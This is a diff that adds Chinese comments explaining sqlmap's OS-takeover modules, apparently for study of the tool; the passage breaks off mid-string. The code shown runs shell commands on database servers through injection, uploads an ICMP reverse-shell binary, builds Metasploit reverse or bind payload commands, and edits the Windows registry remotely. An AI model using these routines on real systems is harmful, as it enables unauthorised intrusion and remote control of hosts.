diff --git a/src/sqlmap-master/lib/takeover/abstraction.py b/src/sqlmap-master/lib/takeover/abstraction.py index 309b5fc..a29fd84 100644 --- a/src/sqlmap-master/lib/takeover/abstraction.py +++ b/src/sqlmap-master/lib/takeover/abstraction.py @@ -5,6 +5,7 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ +# 导入必要的模块 from __future__ import print_function import sys @@ -33,36 +34,51 @@ from thirdparty.six.moves import input as _input class Abstraction(Web, UDF, XP_cmdshell): """ - This class defines an abstraction layer for OS takeover functionalities - to UDF / XP_cmdshell objects + 这个类定义了一个抽象层,用于操作系统接管功能 + 继承了Web、UDF和XP_cmdshell类的功能 """ def __init__(self): + # 初始化环境状态标志 self.envInitialized = False + # 是否总是获取命令输出的标志 self.alwaysRetrieveCmdOutput = False + # 调用父类的初始化方法 UDF.__init__(self) Web.__init__(self) XP_cmdshell.__init__(self) def execCmd(self, cmd, silent=False): + """ + 执行系统命令的方法 + 根据不同的数据库类型选择不同的执行方式 + """ if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): + # PostgreSQL使用COPY命令执行 self.copyExecCmd(cmd) elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): + # 如果有Web后门URL且不支持堆叠查询或UDF失败,使用Web后门执行 self.webBackdoorRunCmd(cmd) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + # MySQL和PostgreSQL使用用户自定义函数执行 self.udfExecCmd(cmd, silent=silent) elif Backend.isDbms(DBMS.MSSQL): + # SQL Server使用xp_cmdshell扩展存储过程执行 self.xpCmdshellExecCmd(cmd, silent=silent) else: + # 不支持的数据库类型 errMsg = "Feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) def evalCmd(self, cmd, first=None, last=None): + """ + 执行命令并返回结果的方法 + """ retVal = None if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): @@ -84,9 +100,13 @@ class Abstraction(Web, UDF, XP_cmdshell): return safechardecode(retVal) def runCmd(self, cmd): + """ + 运行命令并处理输出的方法 + """ choice = None if not self.alwaysRetrieveCmdOutput: + # 询问用户是否需要获取命令输出 message = "do you want to retrieve the command standard " message += "output? [Y/n/a] " choice = readInput(message, default='Y').upper() @@ -95,6 +115,7 @@ class Abstraction(Web, UDF, XP_cmdshell): self.alwaysRetrieveCmdOutput = True if choice == 'Y' or self.alwaysRetrieveCmdOutput: + # 获取并显示命令输出 output = self.evalCmd(cmd) if output: @@ -102,15 +123,20 @@ class Abstraction(Web, UDF, XP_cmdshell): else: dataToStdout("No output\n") else: + # 仅执行命令不获取输出 self.execCmd(cmd) def shell(self): + """ + 提供交互式shell的方法 + """ if self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): infoMsg = "calling OS shell. To quit type " infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) else: + # 根据不同数据库类型显示相应的提示信息 if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): infoMsg = "going to use 'COPY ... FROM PROGRAM ...' " infoMsg += "command execution" @@ -135,12 +161,15 @@ class Abstraction(Web, UDF, XP_cmdshell): infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) + # 设置命令自动完成 autoCompletion(AUTOCOMPLETE_TYPE.OS, OS.WINDOWS if Backend.isOs(OS.WINDOWS) else OS.LINUX) + # shell的主循环 while True: command = None try: + # 获取用户输入的命令 command = _input("os-shell> ") command = getUnicode(command, encoding=sys.stdin.encoding) except KeyboardInterrupt: @@ -162,6 +191,9 @@ class Abstraction(Web, UDF, XP_cmdshell): self.runCmd(command) def _initRunAs(self): + """ + 初始化以其他用户身份运行的功能 + """ if not conf.dbmsCred: return @@ -175,6 +207,7 @@ class Abstraction(Web, UDF, XP_cmdshell): return if Backend.isDbms(DBMS.MSSQL): + # SQL Server需要启用OPENROWSET功能 msg = "on Microsoft SQL Server 2005 and 2008, OPENROWSET function " msg += "is disabled by default. This function is needed to execute " msg += "statements as another DBMS user since you provided the " @@ -185,23 +218,24 @@ class Abstraction(Web, UDF, XP_cmdshell): expression = getSQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1") inject.goStacked(expression) - # TODO: add support for PostgreSQL - # elif Backend.isDbms(DBMS.PGSQL): - # expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1") - # inject.goStacked(expression) - def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False): + """ + 初始化环境的方法 + """ self._initRunAs() if self.envInitialized and not forceInit: return if web: + # 初始化Web环境 self.webInit() else: + # 检查数据库操作系统 self.checkDbmsOs(detailed) if mandatory and not self.isDba(): + # 警告用户当前可能没有足够的权限 warnMsg = "functionality requested probably does not work because " warnMsg += "the current session user is not a database administrator" @@ -213,6 +247,7 @@ class Abstraction(Web, UDF, XP_cmdshell): logger.warning(warnMsg) + # 根据不同数据库类型初始化相应功能 if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): success = True elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): diff --git a/src/sqlmap-master/lib/takeover/icmpsh.py b/src/sqlmap-master/lib/takeover/icmpsh.py index 14e54fb..b095a28 100644 --- a/src/sqlmap-master/lib/takeover/icmpsh.py +++ b/src/sqlmap-master/lib/takeover/icmpsh.py @@ -5,11 +5,13 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ +# 导入所需的Python标准库 import os import re import socket import time +# 导入自定义模块和函数 from extra.icmpsh.icmpsh_m import main as icmpshmaster from lib.core.common import getLocalIP from lib.core.common import getRemoteIP @@ -24,94 +26,125 @@ from lib.core.exception import SqlmapDataException class ICMPsh(object): """ - This class defines methods to call icmpsh for plugins. + 这个类定义了调用icmpsh工具的方法,用于插件功能 """ def _initVars(self): - self.lhostStr = None - self.rhostStr = None - self.localIP = getLocalIP() - self.remoteIP = getRemoteIP() or conf.hostname + """ + 初始化类的成员变量 + """ + self.lhostStr = None # 本地主机地址字符串 + self.rhostStr = None # 远程主机地址字符串 + self.localIP = getLocalIP() # 获取本地IP地址 + self.remoteIP = getRemoteIP() or conf.hostname # 获取远程IP地址,如果获取失败则使用配置的主机名 + # 设置icmpsh slave程序的路径 self._icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe_")) def _selectRhost(self): + """ + 选择远程主机地址 + 返回: 用户输入的远程主机地址 + """ address = None - message = "what is the back-end DBMS address? " + message = "what is the back-end DBMS address? " # 提示用户输入数据库地址 if self.remoteIP: - message += "[Enter for '%s' (detected)] " % self.remoteIP + message += "[Enter for '%s' (detected)] " % self.remoteIP # 如果检测到远程IP,则显示默认值 while not address: - address = readInput(message, default=self.remoteIP) + address = readInput(message, default=self.remoteIP) # 读取用户输入 - if conf.batch and not address: + if conf.batch and not address: # 如果是批处理模式且没有提供地址,则报错 raise SqlmapDataException("remote host address is missing") return address def _selectLhost(self): + """ + 选择本地主机地址 + 返回: 用户输入的本地主机地址 + """ address = None message = "what is the local address? " if self.localIP: - message += "[Enter for '%s' (detected)] " % self.localIP + message += "[Enter for '%s' (detected)] " % self.localIP # 如果检测到本地IP,则显示默认值 valid = None while not valid: valid = True - address = readInput(message, default=self.localIP or "") + address = readInput(message, default=self.localIP or "") # 读取用户输入 try: - socket.inet_aton(address) + socket.inet_aton(address) # 验证IP地址格式是否正确 except socket.error: valid = False finally: valid = valid and re.search(r"\d+\.\d+\.\d+\.\d+", address) is not None - if conf.batch and not address: + if conf.batch and not address: # 批处理模式下没有地址则报错 raise SqlmapDataException("local host address is missing") - elif address and not valid: + elif address and not valid: # 地址格式无效则警告 warnMsg = "invalid local host address" logger.warning(warnMsg) return address def _prepareIngredients(self, encode=True): + """ + 准备ICMP shell所需的参数 + """ self.localIP = getattr(self, "localIP", None) self.remoteIP = getattr(self, "remoteIP", None) - self.lhostStr = ICMPsh._selectLhost(self) - self.rhostStr = ICMPsh._selectRhost(self) + self.lhostStr = ICMPsh._selectLhost(self) # 获取本地主机地址 + self.rhostStr = ICMPsh._selectRhost(self) # 获取远程主机地址 def _runIcmpshMaster(self): + """ + 在本地运行icmpsh主程序 + """ infoMsg = "running icmpsh master locally" logger.info(infoMsg) - icmpshmaster(self.lhostStr, self.rhostStr) + icmpshmaster(self.lhostStr, self.rhostStr) # 启动icmpsh主程序 def _runIcmpshSlaveRemote(self): + """ + 在远程运行icmpsh从程序 + """ infoMsg = "running icmpsh slave remotely" logger.info(infoMsg) + # 构建命令行参数: -t指定目标IP, -d指定延迟, -b指定缓冲区大小, -s指定数据大小 cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self._icmpslaveRemote, self.lhostStr) - self.execCmd(cmd, silent=True) + self.execCmd(cmd, silent=True) # 执行命令 def uploadIcmpshSlave(self, web=False): + """ + 上传icmpsh从程序到目标机器 + 参数: + web: 是否通过web方式上传 + 返回: + 上传是否成功 + """ ICMPsh._initVars(self) - self._randStr = randomStr(lowercase=True) - self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr + self._randStr = randomStr(lowercase=True) # 生成随机字符串 + self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr # 生成临时文件名 + # 构建远程文件完整路径 self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase) self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote)) logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote) - if web: + if web: # 通过web方式上传 written = self.webUpload(self._icmpslaveRemote, os.path.split(self._icmpslaveRemote)[0], filepath=self._icmpslave) - else: + else: # 通过其他方式上传 written = self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary", forceCheck=True) if written is not True: + # 上传失败的错误提示 errMsg = "there has been a problem uploading icmpsh, it " errMsg += "looks like the binary file has not been written " errMsg += "on the database underlying file system or an AV has " @@ -127,14 +160,18 @@ class ICMPsh(object): return True def icmpPwn(self): - ICMPsh._prepareIngredients(self) - self._runIcmpshSlaveRemote() - self._runIcmpshMaster() + """ + 执行ICMP shell攻击的主函数 + """ + ICMPsh._prepareIngredients(self) # 准备参数 + self._runIcmpshSlaveRemote() # 运行远程从程序 + self._runIcmpshMaster() # 运行本地主程序 debugMsg = "icmpsh master exited" logger.debug(debugMsg) time.sleep(1) + # 清理远程机器上的进程和文件 self.execCmd("taskkill /F /IM %s" % self._icmpslaveRemoteBase, silent=True) time.sleep(1) self.delRemoteFile(self._icmpslaveRemote) diff --git a/src/sqlmap-master/lib/takeover/metasploit.py b/src/sqlmap-master/lib/takeover/metasploit.py index f302802..9cf9d28 100644 --- a/src/sqlmap-master/lib/takeover/metasploit.py +++ b/src/sqlmap-master/lib/takeover/metasploit.py @@ -259,24 +259,36 @@ class Metasploit(object): return _payloadStr def _selectPort(self): + # 遍历_portData字典中的键值对 for connType, connStr in self._portData.items(): + # 如果connectionStr以connType开头 if self.connectionStr.startswith(connType): + # 返回_skeletonSelection函数的返回值,maxValue为65535,default为1025到65535之间的随机数 return self._skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535)) def _selectRhost(self): + # 如果connectionStr以"bind"开头 if self.connectionStr.startswith("bind"): + # 提示用户输入后端DBMS地址,默认为remoteIP message = "what is the back-end DBMS address? [Enter for '%s' (detected)] " % self.remoteIP address = readInput(message, default=self.remoteIP) + # 如果用户没有输入地址 if not address: + # 将地址设为remoteIP address = self.remoteIP + # 返回地址 return address + # 如果connectionStr以"reverse"开头 elif self.connectionStr.startswith("reverse"): + # 返回None return None + # 如果connectionStr不以"bind"或"reverse"开头 else: + # 抛出SqlmapDataException异常 raise SqlmapDataException("unexpected connection type") def _selectLhost(self): @@ -296,9 +308,11 @@ class Metasploit(object): raise SqlmapDataException("unexpected connection type") def _selectConnection(self): + # 选择连接类型 return self._skeletonSelection("connection type", self._msfConnectionsList) def _prepareIngredients(self, encode=True): + # 准备食材 self.connectionStr = self._selectConnection() self.lhostStr = self._selectLhost() self.rhostStr = self._selectRhost() @@ -308,11 +322,13 @@ class Metasploit(object): self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr) def _forgeMsfCliCmd(self, exitfunc="process"): + # 构造Metasploit命令行 if kb.oldMsf: self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) self._cliCmd += " EXITFUNC=%s" % exitfunc self._cliCmd += " LPORT=%s" % self.portStr + # 根据连接类型选择LHOST或RHOST if self.connectionStr.startswith("bind"): self._cliCmd += " RHOST=%s" % self.rhostStr elif self.connectionStr.startswith("reverse"): @@ -320,6 +336,7 @@ class Metasploit(object): else: raise SqlmapDataException("unexpected connection type") + # 如果是Windows系统且payload为windows/vncinject,则添加DisableCourtesyShell参数 if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": self._cliCmd += " DisableCourtesyShell=true" @@ -376,39 +393,54 @@ class Metasploit(object): self._cliCmd += "; exploit'" def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): + # 根据kb.oldMsf的值,设置self._payloadCmd的值 if kb.oldMsf: self._payloadCmd = self._msfPayload else: self._payloadCmd = "%s -p" % self._msfVenom + # 添加payload连接字符串 self._payloadCmd += " %s" % self.payloadConnStr + # 添加退出函数 self._payloadCmd += " EXITFUNC=%s" % exitfunc + # 添加监听端口 self._payloadCmd += " LPORT=%s" % self.portStr + # 根据连接类型,添加监听主机 if self.connectionStr.startswith("reverse"): self._payloadCmd += " LHOST=%s" % self.lhostStr elif not self.connectionStr.startswith("bind"): raise SqlmapDataException("unexpected connection type") + # 如果是Linux系统,并且开启了提权选项,则添加PrependChrootBreak和PrependSetuid参数 if Backend.isOs(OS.LINUX) and conf.privEsc: self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true" + # 根据kb.oldMsf的值,设置self._payloadCmd的值 if kb.oldMsf: + # 如果extra参数为BufferRegister=EAX,则添加msfEncode编码器,并设置输出文件和格式 if extra == "BufferRegister=EAX": self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format) + # 如果extra参数不为空,则添加extra参数 if extra is not None: self._payloadCmd += " %s" % extra + # 否则,设置输出文件 else: self._payloadCmd += " X > \"%s\"" % outFile + # 否则,设置输出文件和格式 else: + # 如果extra参数为BufferRegister=EAX,则添加msfEncode编码器,并设置输出文件和格式 if extra == "BufferRegister=EAX": self._payloadCmd += " -a x86 -e %s -f %s" % (self.encoderStr, format) + # 如果extra参数不为空,则添加extra参数 if extra is not None: self._payloadCmd += " %s" % extra + # 设置输出文件 self._payloadCmd += " > \"%s\"" % outFile + # 否则,设置输出文件和格式 else: self._payloadCmd += " -f exe > \"%s\"" % outFile @@ -581,39 +613,57 @@ class Metasploit(object): pass def createMsfShellcode(self, exitfunc, format, extra, encode): + # 创建Metasploit Framework多阶段shellcode infoMsg = "creating Metasploit Framework multi-stage shellcode " logger.info(infoMsg) + # 生成随机字符串 self._randStr = randomStr(lowercase=True) + # 生成shellcode文件路径 self._shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self._randStr) + # 初始化Metasploit变量 Metasploit._initVars(self) + # 准备shellcode的成分 self._prepareIngredients(encode=encode) + # 生成Metasploit payload命令 self._forgeMsfPayloadCmd(exitfunc, format, self._shellcodeFilePath, extra) + # 执行本地命令 logger.debug("executing local command: %s" % self._payloadCmd) process = execute(self._payloadCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False) + # 输出创建进度 dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X")) + # 检查进程状态 pollProcess(process) + # 获取进程错误输出 payloadStderr = process.communicate()[1] + # 搜索shellcode大小 match = re.search(b"(Total size:|Length:|succeeded with size|Final size of exe file:) ([\\d]+)", payloadStderr) if match: + # 获取shellcode大小 payloadSize = int(match.group(2)) + # 如果extra参数为BufferRegister=EAX,则将shellcode大小除以2 if extra == "BufferRegister=EAX": payloadSize = payloadSize // 2 + # 输出shellcode大小 debugMsg = "the shellcode size is %d bytes" % payloadSize logger.debug(debugMsg) else: + # 如果没有找到shellcode大小,则抛出异常 errMsg = "failed to create the shellcode ('%s')" % getText(payloadStderr).replace("\n", " ").replace("\r", "") raise SqlmapFilePathException(errMsg) + # 打开shellcode文件 self._shellcodeFP = open(self._shellcodeFilePath, "rb") + # 读取shellcode文件内容 self.shellcodeString = getText(self._shellcodeFP.read()) + # 关闭shellcode文件 self._shellcodeFP.close() os.unlink(self._shellcodeFilePath) @@ -659,6 +709,7 @@ class Metasploit(object): return True def pwn(self, goUdf=False): + # 如果goUdf为True,则使用thread作为退出函数,否则使用process作为退出函数 if goUdf: exitfunc = "thread" func = self._runMsfShellcodeRemote @@ -666,40 +717,52 @@ class Metasploit(object): exitfunc = "process" func = self._runMsfShellcodeRemoteViaSexec + # 运行Metasploit命令行界面 self._runMsfCli(exitfunc=exitfunc) + # 如果连接字符串以bind开头,则运行func函数 if self.connectionStr.startswith("bind"): func() + # 记录Metasploit命令行界面退出的返回码 debugMsg = "Metasploit Framework command line interface exited " debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, func) logger.debug(debugMsg) + # 如果goUdf为False,则等待1秒,并删除远程文件 if not goUdf: time.sleep(1) self.delRemoteFile(self.shellcodeexecRemote) def smb(self): + # 初始化Metasploit变量 Metasploit._initVars(self) + # 生成随机文件名 self._randFile = "tmpu%s.txt" % randomStr(lowercase=True) + # 运行Metasploit命令行界面 self._runMsfCliSmbrelay() + # 如果识别的数据库管理系统是MySQL或PGSQL,则使用UNC路径 if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.uncPath = r"\\\\%s\\%s" % (self.lhostStr, self._randFile) else: self.uncPath = r"\\%s\%s" % (self.lhostStr, self._randFile) + # 记录Metasploit命令行界面退出的返回码 debugMsg = "Metasploit Framework console exited with return " debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest) logger.debug(debugMsg) def bof(self): + # 运行Metasploit命令行界面 self._runMsfCli(exitfunc="seh") + # 如果连接字符串以bind开头,则运行spHeapOverflow函数 if self.connectionStr.startswith("bind"): self.spHeapOverflow() + # 记录Metasploit命令行界面退出的返回码 debugMsg = "Metasploit Framework command line interface exited " debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, self.spHeapOverflow) logger.debug(debugMsg) diff --git a/src/sqlmap-master/lib/takeover/registry.py b/src/sqlmap-master/lib/takeover/registry.py index 650ce10..c9db3e6 100644 --- a/src/sqlmap-master/lib/takeover/registry.py +++ b/src/sqlmap-master/lib/takeover/registry.py @@ -5,114 +5,184 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ +# 导入所需的模块 import os -from lib.core.common import openFile -from lib.core.common import randomStr -from lib.core.data import conf -from lib.core.data import logger -from lib.core.enums import REGISTRY_OPERATION +# 导入自定义的工具函数 +from lib.core.common import openFile # 用于打开文件 +from lib.core.common import randomStr # 用于生成随机字符串 +from lib.core.data import conf # 配置信息 +from lib.core.data import logger # 日志记录器 +from lib.core.enums import REGISTRY_OPERATION # 注册表操作类型的枚举 class Registry(object): """ - This class defines methods to read and write Windows registry keys + 这个类定义了读取和写入Windows注册表键值的方法。 + 注册表是Windows系统中的一个核心数据库,用于存储系统和应用程序的配置信息。 """ def _initVars(self, regKey, regValue, regType=None, regData=None, parse=False): + """ + 初始化注册表操作所需的变量 + :param regKey: 注册表键路径,例如"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows" + :param regValue: 注册表值名称,即要操作的具体配置项名称 + :param regType: 注册表值类型,如REG_SZ(字符串)、REG_DWORD(数字)等 + :param regData: 要写入的注册表值数据 + :param parse: 是否需要解析输出,True表示需要特殊处理输出格式 + """ + # 保存传入的参数 self._regKey = regKey self._regValue = regValue self._regType = regType self._regData = regData + # 生成一个随机字符串,用于创建临时批处理文件名 self._randStr = randomStr(lowercase=True) + # 设置远程系统上临时批处理文件的路径 self._batPathRemote = "%s/tmpr%s.bat" % (conf.tmpPath, self._randStr) + # 设置本地系统上临时批处理文件的路径 self._batPathLocal = os.path.join(conf.outputPath, "tmpr%s.bat" % self._randStr) + # 根据parse参数决定读取命令的格式 if parse: + # 使用FOR循环解析REG QUERY的输出,可以获得更规范的格式 readParse = "FOR /F \"tokens=*\" %%A IN ('REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n" else: + # 直接使用REG QUERY命令查询注册表 readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"" + # 定义用于读取注册表的批处理命令 self._batRead = ( - "@ECHO OFF\r\n", - readParse, + "@ECHO OFF\r\n", # 关闭命令回显 + readParse, # 实际的查询命令 ) + # 定义用于添加注册表值的批处理命令 self._batAdd = ( "@ECHO OFF\r\n", - "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData), + "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData), # /f表示强制覆盖不提示 ) + # 定义用于删除注册表值的批处理命令 self._batDel = ( "@ECHO OFF\r\n", - "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue), + "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue), # /f表示强制删除不提示 ) def _createLocalBatchFile(self): + """ + 在本地系统创建临时批处理文件 + 这个批处理文件包含了要在远程系统执行的注册表操作命令 + """ + # 以写入模式打开本地临时文件 self._batPathFp = openFile(self._batPathLocal, "w") + # 根据操作类型选择相应的命令集 if self._operation == REGISTRY_OPERATION.READ: - lines = self._batRead + lines = self._batRead # 读取操作的命令 elif self._operation == REGISTRY_OPERATION.ADD: - lines = self._batAdd + lines = self._batAdd # 添加操作的命令 elif self._operation == REGISTRY_OPERATION.DELETE: - lines = self._batDel + lines = self._batDel # 删除操作的命令 + # 将命令写入批处理文件 for line in lines: self._batPathFp.write(line) + # 关闭文件 self._batPathFp.close() def _createRemoteBatchFile(self): + """ + 在远程系统创建批处理文件 + 这个方法会先在本地创建文件,然后将其复制到远程系统 + """ + # 记录调试信息 logger.debug("creating batch file '%s'" % self._batPathRemote) + # 先在本地创建批处理文件 self._createLocalBatchFile() + # 将本地文件复制到远程系统 self.writeFile(self._batPathLocal, self._batPathRemote, "text", forceCheck=True) + # 删除本地的临时文件 os.unlink(self._batPathLocal) def readRegKey(self, regKey, regValue, parse=False): + """ + 读取注册表键值的方法 + :param regKey: 要读取的注册表键路径 + :param regValue: 要读取的值名称 + :param parse: 是否需要解析输出 + :return: 返回读取到的注册表值内容 + """ + # 设置操作类型为读取 self._operation = REGISTRY_OPERATION.READ + # 初始化变量并创建远程批处理文件 Registry._initVars(self, regKey, regValue, parse=parse) self._createRemoteBatchFile() + # 记录调试信息 logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue)) + # 在远程系统执行批处理文件并获取输出 data = self.evalCmd(self._batPathRemote) + # 如果不需要解析,则处理输出格式(去除前导空格) if data and not parse: pattern = ' ' index = data.find(pattern) if index != -1: data = data[index + len(pattern):] + # 清理:删除远程临时文件 self.delRemoteFile(self._batPathRemote) return data def addRegKey(self, regKey, regValue, regType, regData): + """ + 添加或修改注册表键值 + :param regKey: 要添加的注册表键路径 + :param regValue: 要添加的值名称 + :param regType: 值的类型(如REG_SZ, REG_DWORD等) + :param regData: 要写入的数据 + """ + # 设置操作类型为添加 self._operation = REGISTRY_OPERATION.ADD + # 初始化变量并创建远程批处理文件 Registry._initVars(self, regKey, regValue, regType, regData) self._createRemoteBatchFile() + # 构造并记录调试信息 debugMsg = "adding registry key value '%s' " % self._regValue debugMsg += "to registry key '%s'" % self._regKey logger.debug(debugMsg) + # 执行远程批处理文件并清理 self.execCmd(cmd=self._batPathRemote) self.delRemoteFile(self._batPathRemote) def delRegKey(self, regKey, regValue): + """ + 删除注册表键值 + :param regKey: 要删除的注册表键路径 + :param regValue: 要删除的值名称 + """ + # 设置操作类型为删除 self._operation = REGISTRY_OPERATION.DELETE + # 初始化变量并创建远程批处理文件 Registry._initVars(self, regKey, regValue) self._createRemoteBatchFile() + # 构造并记录调试信息 debugMsg = "deleting registry key value '%s' " % self._regValue debugMsg += "from registry key '%s'" % self._regKey logger.debug(debugMsg) + # 执行远程批处理文件并清理 self.execCmd(cmd=self._batPathRemote) self.delRemoteFile(self._batPathRemote) diff --git a/src/sqlmap-master/lib/takeover/udf.py b/src/sqlmap-master/lib/takeover/udf.py index 40da398..c48f8aa 100644 --- a/src/sqlmap-master/lib/takeover/udf.py +++ b/src/sqlmap-master/lib/takeover/udf.py @@ -5,6 +5,7 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ +# 导入所需的模块 import os from lib.core.agent import agent @@ -32,28 +33,38 @@ from lib.request import inject class UDF(object): """ - This class defines methods to deal with User-Defined Functions for - plugins. + 这个类定义了处理用户自定义函数(UDF)的方法。 + 用户自定义函数是数据库中由用户创建的函数,可以扩展数据库的功能。 """ def __init__(self): - self.createdUdf = set() - self.udfs = {} - self.udfToCreate = set() + # 初始化三个集合/字典来跟踪UDF状态 + self.createdUdf = set() # 存储已创建的UDF + self.udfs = {} # 存储UDF的详细信息 + self.udfToCreate = set() # 存储待创建的UDF def _askOverwriteUdf(self, udf): + """ + 询问用户是否要覆盖已存在的UDF + """ message = "UDF '%s' already exists, do you " % udf message += "want to overwrite it? [y/N] " return readInput(message, default='N', boolean=True) def _checkExistUdf(self, udf): + """ + 检查指定的UDF是否已经存在于数据库中 + """ logger.info("checking if UDF '%s' already exist" % udf) query = agent.forgeCaseStatement(queries[Backend.getIdentifiedDbms()].check_udf.query % (udf, udf)) return inject.getValue(query, resumeValue=False, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY) def udfCheckAndOverwrite(self, udf): + """ + 检查UDF是否存在,并询问是否覆盖 + """ exists = self._checkExistUdf(udf) overwrite = True @@ -64,12 +75,18 @@ class UDF(object): self.udfToCreate.add(udf) def udfCreateSupportTbl(self, dataType): + """ + 为UDF创建支持表 + """ debugMsg = "creating a support table for user-defined functions" logger.debug(debugMsg) self.createSupportTbl(self.cmdTblName, self.tblField, dataType) def udfForgeCmd(self, cmd): + """ + 格式化命令字符串,确保命令两端有单引号 + """ if not cmd.startswith("'"): cmd = "'%s" % cmd @@ -79,6 +96,12 @@ class UDF(object): return cmd def udfExecCmd(self, cmd, silent=False, udfName=None): + """ + 执行UDF命令 + @param cmd: 要执行的命令 + @param silent: 是否静默执行 + @param udfName: UDF名称,默认为sys_exec + """ if udfName is None: udfName = "sys_exec" @@ -87,6 +110,13 @@ class UDF(object): return inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent) def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): + """ + 评估并执行UDF命令,并返回结果 + @param cmd: 要执行的命令 + @param first: 结果的起始位置 + @param last: 结果的结束位置 + @param udfName: UDF名称,默认为sys_eval + """ if udfName is None: udfName = "sys_eval" @@ -110,6 +140,9 @@ class UDF(object): return output def udfCheckNeeded(self): + """ + 检查哪些系统UDF是需要的,移除不需要的UDF + """ if (not any((conf.fileRead, conf.commonFiles)) or (any((conf.fileRead, conf.commonFiles)) and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs: self.sysUdfs.pop("sys_fileread") @@ -123,20 +156,34 @@ class UDF(object): self.sysUdfs.pop("sys_exec") def udfSetRemotePath(self): + """ + 设置UDF在远程服务器上的路径(需要在插件中实现) + """ errMsg = "udfSetRemotePath() method must be defined within the plugin" raise SqlmapUnsupportedFeatureException(errMsg) def udfSetLocalPaths(self): + """ + 设置UDF在本地的路径(需要在插件中实现) + """ errMsg = "udfSetLocalPaths() method must be defined within the plugin" raise SqlmapUnsupportedFeatureException(errMsg) def udfCreateFromSharedLib(self, udf, inpRet): + """ + 从共享库创建UDF(需要在插件中实现) + """ errMsg = "udfCreateFromSharedLib() method must be defined within the plugin" raise SqlmapUnsupportedFeatureException(errMsg) def udfInjectCore(self, udfDict): + """ + UDF注入的核心方法 + @param udfDict: UDF字典,包含要注入的UDF信息 + """ written = False + # 检查每个UDF是否需要覆盖 for udf in udfDict.keys(): if udf in self.createdUdf: continue @@ -164,10 +211,12 @@ class UDF(object): else: return True + # 创建每个UDF for udf, inpRet in udfDict.items(): if udf in self.udfToCreate and udf not in self.createdUdf: self.udfCreateFromSharedLib(udf, inpRet) + # 根据数据库类型创建支持表 if Backend.isDbms(DBMS.MYSQL): supportTblType = "longtext" elif Backend.isDbms(DBMS.PGSQL): @@ -178,16 +227,25 @@ class UDF(object): return written def udfInjectSys(self): + """ + 注入系统UDF + """ self.udfSetLocalPaths() self.udfCheckNeeded() return self.udfInjectCore(self.sysUdfs) def udfInjectCustom(self): + """ + 注入自定义UDF的主要方法 + 包含了用户交互、参数验证、UDF创建和执行等完整流程 + """ + # 检查数据库类型是否支持UDF if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL): errMsg = "UDF injection feature only works on MySQL and PostgreSQL" logger.error(errMsg) return + # 检查是否支持堆叠查询 if not isStackingAvailable() and not conf.direct: errMsg = "UDF injection feature requires stacked queries SQL injection" logger.error(errMsg) @@ -195,11 +253,13 @@ class UDF(object): self.checkDbmsOs() + # 检查用户权限 if not self.isDba(): warnMsg = "functionality requested probably does not work because " warnMsg += "the current session user is not a database administrator" logger.warning(warnMsg) + # 获取共享库路径 if not conf.shLib: msg = "what is the 